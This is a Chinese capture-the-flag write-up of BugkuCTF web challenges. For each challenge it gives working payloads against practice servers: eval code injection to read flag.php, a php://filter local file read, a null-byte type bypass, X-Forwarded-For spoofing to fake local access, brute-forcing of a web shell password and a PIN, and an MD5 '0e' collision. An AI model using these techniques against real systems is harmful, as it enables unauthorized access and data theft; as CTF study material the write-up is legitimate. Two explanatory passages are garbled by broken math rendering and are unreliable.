BugkuCTF-Web-Writeup

前言

萌新就要多刷题…

正文

web2

flag在源码的注释里

计算器

改一下text文本框的最大输入位数>1即可

web基础$_GET

GET方式传参即可

web基础$_POST

post方式传参即可

矛盾

$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

这题要求传参num不能是数字,而且num=1,一开始没有什么思路,认为是弱类型的绕过,传了true进去,发现无效,问了一下度娘,发现在数字后面加上%00截断,is_numeric()函数就不能识别为数字了…
payload:

123.206.87.240:8002/get/index1.php?num=1%00

web3

这题疯狂弹出对话框,阻止以后查看源码,果然全是alert弹窗,在最下面的注释里发现了一大串编码,不太认识:

问了一下度娘,发现是unicode,直接在线解码即可

域名解析

进入windows/system32/drivers/etc/hosts中添加123.206.87.240 flag.baidu.com,然后直接访问域名即可

你必须让他停下

这题如何让他停下?直接bp抓包拦截,然后一次一次执行,go了几次发现flag

本地包含

 <?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?> 

REQUEST默认情况下包含了 _ G E T , \_GET, _GET_POST 和 _ C O O K I E 的 数 组 。 这 题 的 最 终 目 的 就 是 要 看 到 ∗ ∗ f l a g . p h p ∗ ∗ 里 的 内 容 , e v a l 是 执 行 \_COOKIE 的数组。 这题的最终目的就是要看到**flag.php**里的内容,eval是执行 _COOKIEflag.phpevala里的内容,所以直接file(‘flag.php’)就可以
payload:

http://123.206.87.240:8003/?hello=file(%27flag.php%27)

变量1

这题花了点时间研究了一下

flag In the variable !
<?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>

理解1:preg_match()是正则表达式的匹配,/^表示开始,KaTeX parse error: Expected 'EOF', got '\w' at position 12: /表示结束,结束字符 \̲w̲包含\[a-z,A-Z,,0-… a r g s 表 示 的 是 以 args表示的是以 argsargs为变量名的变量;
理解3 G L O B A L S [ ] 包 含 正 在 执 行 脚 本 所 有 超 级 全 局 变 量 的 引 用 内 容 ; 开 头 就 提 示 f l a g 在 变 量 里 , 所 以 只 要 看 看 变 量 里 都 放 了 些 什 么 就 可 以 了 , a r g s = G L O A B L S 就 可 以 将 GLOBALS[]包含正在执行脚本所有超级全局变量的引用内容; 开头就提示flag在变量里,所以只要看看变量里都放了些什么就可以了,args=GLOABLS就可以将 GLOBALS[];flagargs=GLOABLS a r g s 解 析 成 args解析成 argsGLOBALS,var_dump打印变量的相关信息
这样就可以显示出所有变量的内容

payload:

http://123.206.87.240:8004/index1.php?args=GLOBALS

Web5

提示是jspfuck,查看源代码,复制下来放到google控制台跑一下

发现了ctf{whatfk},提交提示离答案非常接近,要求是CTF头,所以全部大写提交,成功…

头等舱

打开发现什么都没有…查看源代码也没有什么东西,F12查看一波也没有什么发现,无奈之下用bp截取之后运行…以为有点难,没想到是水题…

网站被黑

嗯,挺漂亮的网页,查看半天也没发现什么奇怪的东西,就扫一波后台目录

发现了index.php和shell.php,打开shell.php如图:

发现需要输入密码,bp抓一波,然后选择passwords字典暴力破解

降序排列一波发现1110匹配项

管理员系统

这题不太会,找到源码中的base64编码

解码以后是test123,输入admin为用户名,test123为密码,发现不能访问,IP禁止访问,请联系本地管理员登录,也就是说需要本地登录才可以进去,所以就尝试着bp抓一波包,从大佬的wp中了解到这题需要伪装成本地访问才可以通过,伪装本地访问的方法就是在headers里面添加如下http头:

X-Forwarded-For:127.0.0.1


弹出flag:

web4

提示查看源码就查看一波源码,发现一大串url编码:

解码后:

function checkSubmit()
{
	var a=document.getElementById("password");
	if("undefined"!=typeof a)
	{
		if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
		return!0;
		alert("Error");
		a.focus();
		return!1
	}
}
document.getElementById("levelQuest").onsubmit=checkSubmit;

将67d709b2b54aa2aa648cf6e87a7114f1这一串数字提交到表单里直接出flag…(什么鬼玩意儿)

flag在index里

文件包含题,和nctf的文件包含如出一辙;
payload:

http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

解析为base64编码,解码后发现flag

输入密码查看flag

进去发现需要输入5位密码,就直接用burp爆破一下,先设置五位数字爆破

等一下发现出现length不一样的项目,直接找到了flag

点击一百万次

这题你点一下鼠标数值就会加一,

<script>
    var clicks=0
    $(function() {
      $("#cookie")
        .mousedown(function() {
          $(this).width('350px').height('350px');
        })
        .mouseup(function() {
          $(this).width('375px').height('375px');
          clicks++;
          $("#clickcount").text(clicks);
          if(clicks >= 1000000){
          	var form = $('<form action="" method="post">' +
						'<input type="text" name="clicks" value="' + clicks + '" hidden/>' +
						'</form>');
						$('body').append(form);
						form.submit();
          }
        });
    });
  </script>

查看源代码发现只要点击鼠标就会clicks++,method是POST,所以可以直接post一个clicks=1000000过去就可以了

得到flag

备份是个好习惯

提示备份直接进入index.php.bak,发现如下,是一个弱类型的MD5绕过,构造MD5值为0e开头的值就可以了

<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);//返回从1到后面的字符
$str = str_replace('key','',$str);//key替换为''
parse_str($str);//字符串解析到变量
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>

去掉第一个字符后,用’'替换key,也就是直接去掉key,然后字符串解析到变量,构造payload:

http://123.206.87.240:8002/web16/?kekeyy1=s878926199a&kekeyy2=QNKCDZO

持续更新…

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值